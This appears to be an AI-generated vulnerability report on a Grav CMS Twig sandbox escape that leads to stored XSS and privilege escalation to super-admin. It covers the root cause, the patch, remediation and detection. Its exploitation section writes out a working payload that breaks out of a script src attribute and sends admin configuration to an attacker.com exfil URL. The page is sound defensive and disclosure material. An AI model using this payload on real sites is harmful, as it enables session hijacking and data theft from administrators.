CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-8HGV-XC77-JMCR

GHSA-8HGV-XC77-JMCR: Privilege Escalation to Super-Admin via Twig Sandbox Escape and Stored XSS in Grav CMS Assets

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 21, 2026·6 min read·3 visits

Executive Summary (TL;DR)

A privilege escalation vulnerability in Grav CMS allows page editors to execute arbitrary client-side script code in administrative contexts. By combining a permissive Twig sandbox allowlist with attribute breakout in asset rendering, attackers can steal JWT tokens or create rogue administrative accounts.

An overly permissive default configuration in the Grav CMS Twig sandbox combined with a lack of neutralization of double-quote characters in the Asset rendering engine allows low-privileged page editors to inject malicious JavaScript into administrative contexts. This leads to a stored cross-site scripting (XSS) condition that compromises the sessions of super-administrators, facilitating complete privilege escalation.

Vulnerability Overview

Grav CMS is a flat-file content management system that employs a Twig-based template engine to parse page content. To ensure that content editors with draft or page editing capabilities cannot run arbitrary server-side code or access restricted system configurations, Grav routes template rendering through a Twig sandbox. This sandbox restricts the execution of dangerous classes, methods, and properties.

However, a design flaw exists in the default sandbox configuration. The sandbox allowlisted execution privileges on the Grav\Common\Assets class, specifically allowing page editors to invoke the addCss and addJs methods. These methods add resources dynamically to the global queue before rendering the final HTML page.

Because the Twig sandbox only restricted the invocation of methods but did not validate the contents of the arguments passed, page editors could supply arbitrary URLs containing payload attributes. Because these registrations mutate the global state of the shared asset service, they bypass safe HTML parsing filters executed during the page-save phase, leading directly to execution contexts at rendering time.

Root Cause Analysis

The underlying security issue is caused by two architectural flaws acting in concert. The first flaw is a permissive configuration setting located in the sandbox initialization file system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php. The system configuration default allowlisted the methods __tostring, addcss, and addjs on the Grav\Common\Assets class.

This configuration allowed any page editor with permissions to write or modify markdown pages containing Twig blocks to invoke the asset queuing system. The second flaw is located within the core asset compilation engine. When Grav constructs the HTML output for queued assets, it performs string concatenation rather than utilizing a programmatic DOM or structured attribute-binding API.

Specifically, when rendering a JavaScript asset, the engine wraps the supplied URL string in double-quote characters. If an attacker injects a double-quote character inside the URL string, they can close the src attribute context prematurely. The browser interprets any subsequent strings as independent, active attributes on the <script> tag, such as event handlers (e.g., onload or onerror).

Code Analysis

To understand the vulnerability, consider the original asset generation mechanism in system/src/Grav/Common/Assets/Js.php prior to version 2.0.20:

// Vulnerable render mechanism in Js.php
return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . $this->integrityHash($this->asset) . "></script>\n";

Because $this->asset is injected verbatim into the source string, any user-supplied double-quote character causes an early termination of the src attribute. This permits the insertion of malicious payloads.

The official patch in commit a4e8c4b748eb338ee7ab1dd26e7620a93bade047 resolves the bug at both points of failure. In SandboxDefaults.php, the permissive methods were removed:

-            ['class' => 'Grav\\Common\\Assets', 'methods' => '__tostring, addcss, addjs'],
+            // addcss/addjs are deliberately NOT allowlisted: the sandbox arbitrates
+            // the call, not its downstream effect. Both mutate the shared Assets
+            // service and the theme then emits the registration as a <script src>/
+            // <link href> in the page head, which the save-time XSS scan cannot see.
+            // A site that truly needs them can re-add via allowed_methods.
+            ['class' => 'Grav\\Common\\Assets', 'methods' => '__tostring'],

Additionally, a new neutralization sink was introduced within the shared utility traits (system/src/Grav/Common/Assets/Traits/AssetUtilsTrait.php) to sanitize character strings:

    /**
     * Neutralise the attribute-breakout characters in an asset URL.
     */
    protected function escapeAssetUrl($url)
    {
        return str_replace(
            ['"', "'", '<', '>'],
            ['&quot;', '&#39;', '&lt;', '&gt;'],
            (string) $url
        );
    }

All subsequent asset render pipelines were updated to pass $this->asset through escapeAssetUrl() to ensure that the attribute context cannot be broken.

Exploitation Methodology

To execute this attack, an attacker requires a standard user account with page editing permissions. First, the attacker creates a new page or edits an existing one, ensuring that Twig processing is explicitly enabled in the frontmatter configuration (process: twig: true).

Second, the attacker inputs a Twig expression that calls the asset management object with a crafted URL. This URL is structured to close the src attribute and append a malicious payload inside an active handler:

{{ assets.addJs('https://attacker.com/malicious.js" onload="fetch(\'/admin/config\').then(r=>r.text()).then(d=>fetch(\'https://attacker.com/exfil?data=\' + btoa(d)))') }}

When a super-administrator previews this page inside the administrator portal, the page is rendered within an iframe sharing the administrative panel's origin. The application processes the Twig call and renders the following HTML tag inside the document head:

<script src="https://attacker.com/malicious.js" onload="fetch('/admin/config').then(r=>r.text()).then(d=>fetch('https://attacker.com/exfil?data=' + btoa(d)))" ...></script>

When the administrator's browser parses this script tag, it triggers the inline onload event handler. The execution of this script occurs within the authenticated session context of the administrator, allowing the attacker to access local storage, steal active JSON Web Tokens (JWTs), or perform privileged background requests.

Impact Assessment

The impact of this vulnerability is critical. Although it requires standard editor authentication to inject the payload, it changes the execution scope (S:C) and compromises administrative interfaces. Because Grav CMS displays page previews directly within the dashboard to allow administrators to review content changes, the attack executes transparently during regular operations.

Once the arbitrary script executes under the context of an administrator, the attacker can hijack the administrative session. This leads to complete access to administrative APIs, including the ability to read system configuration parameters, access database settings, exfiltrate sensitive files, or create additional administrative users.

In scenarios where the system configuration allows system commands or shell execution via plugin panels, this vulnerability can be leveraged as an initial stage to achieve remote code execution (RCE) on the underlying server. No specific non-default configuration is required to render the application vulnerable.

Remediation & Detection Guidance

Remediation requires updating the core installation of Grav CMS to version 2.0.20 or later. This release updates the default sandbox configurations and applies strict asset attribute escaping.

To identify potential exploitation attempts, administrators should audit existing markdown content files (user/pages) for unauthorized or suspicious Twig syntax utilizing asset management arrays. Look for direct references to the following structures:

  • assets.addJs
  • assets.addCss
  • assets.add

If upgrading immediately is not possible, the threat can be mitigated by disabling these methods manually. Open system/config/security.yaml (or the local override user/config/security.yaml) and verify that the security.twig_sandbox.allowed_methods directive does not allow addjs, addcss, or other asset modification calls for the Grav\Common\Assets class.

Fix Analysis (1)

Technical Appendix

CVSS Score
9.0/ 10
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Affected Systems

Grav CMS

Affected Versions Detail

Product
Affected Versions
Fixed Version
Grav CMS
Trilby Media
< 2.0.202.0.20
AttributeDetail
CWE IDCWE-79
Attack VectorNetwork (AV:N)
CVSS v3.1 Score9.0 (Critical)
Exploit MaturityPoC (Proof of Concept)
KEV StatusNot Listed
Affected Versions< 2.0.20

MITRE ATT&CK Mapping

T1190Exploit Public-Facing Application
Initial Access
T1059.007Command and Scripting Interpreter: JavaScript
Execution
CWE-79
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The software does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.

Vulnerability Timeline

Vulnerability fixed in Grav core codebase by lead developer Andy Miller
2026-08-20
Grav CMS version 2.0.20 officially released containing the security patches
2026-08-20
Public disclosure of GitHub Security Advisory GHSA-8HGV-XC77-JMCR
2026-08-20

References & Sources

  • [1]GitHub Security Advisory GHSA-8HGV-XC77-JMCR
  • [2]Official Patch Commit
  • [3]Grav CMS Version 2.0.20 Release Notes

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•8 minutes ago•CVE-2026-77415
9.3

CVE-2026-77415: Sandbox Escape and Arbitrary Code Execution in JSONata Engine

A critical sandbox escape vulnerability in JSONata versions prior to 1.8.8 and 2.2.1 allows unauthenticated remote attackers to execute arbitrary code on the host machine. By submitting crafted JSONata expressions, an attacker can manipulate internal AST structures, bypass object clone helpers, spoof native function flags, and escape the evaluation environment to execute system commands through the Node.js runtime.

Alon Barad
Alon Barad
0 views•6 min read
•about 1 hour ago•CVE-2026-77414
9.3

CVE-2026-77414: Critical Sandbox Escape and Remote Code Execution in JSONata via Prototype Pollution

CVE-2026-77414 (GHSA-2943-5xfg-gq5f) is a critical sandbox escape and remote code execution vulnerability in the JSONata package. When JSONata processes untrusted expressions, it uses a vulnerable environment lookup check that can be shadowed by user-defined variables. Attackers can leverage this to traverse the prototype chain, reach the global Function constructor, and execute arbitrary system commands on the host machine.

Alon Barad
Alon Barad
7 views•7 min read
•about 3 hours ago•GHSA-8CFW-PCWH-V63W
8.5

GHSA-8CFW-PCWH-V63W: Authenticated Twig Sandbox Escape and Remote Code Execution in Winter CMS

An authenticated Twig sandbox escape vulnerability in Winter CMS allows users with template-editing privileges to bypass sandbox restrictions and execute arbitrary PHP code. This vulnerability represents a complete bypass of the sandbox protections introduced by the previous patch for CVE-2024-54149.

Amit Schendel
Amit Schendel
3 views•6 min read
•about 4 hours ago•GHSA-Q9C5-PP7M-FM2G
5.3

GHSA-Q9C5-PP7M-FM2G: Missing Authorization in Fleet Enterprise iOS Application Distribution Endpoints

A missing authorization vulnerability in Fleet device management software allows unauthenticated remote attackers to access proprietary enterprise iOS packages (.ipa) and manifest configurations by scanning predictable integer identifiers.

Alon Barad
Alon Barad
2 views•7 min read
•about 6 hours ago•CVE-2026-59995
4.2

CVE-2026-59995: Relative Path Traversal in OpenSSH sftp Client

A relative path traversal vulnerability (CWE-23) in the client-side sftp utility of OpenSSH before version 10.4 allows malicious or compromised SFTP servers to write or overwrite files outside the intended destination directory when a user executes a direct one-shot download command.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 7 hours ago•GHSA-RXHG-VCWW-2MPW
8.1

GHSA-RXHG-VCWW-2MPW: SQL Injection via ORDER BY Column Injection in Fleet Activity List Endpoints

A SQL injection vulnerability exists in the activity list endpoints of Fleet Device Management. Authenticated users can manipulate the order_key parameter to sort database queries by arbitrary columns, including columns not projected in the SELECT query. This flaw allows attackers to establish an inference oracle to extract sensitive information from the database.

Amit Schendel
Amit Schendel
4 views•5 min read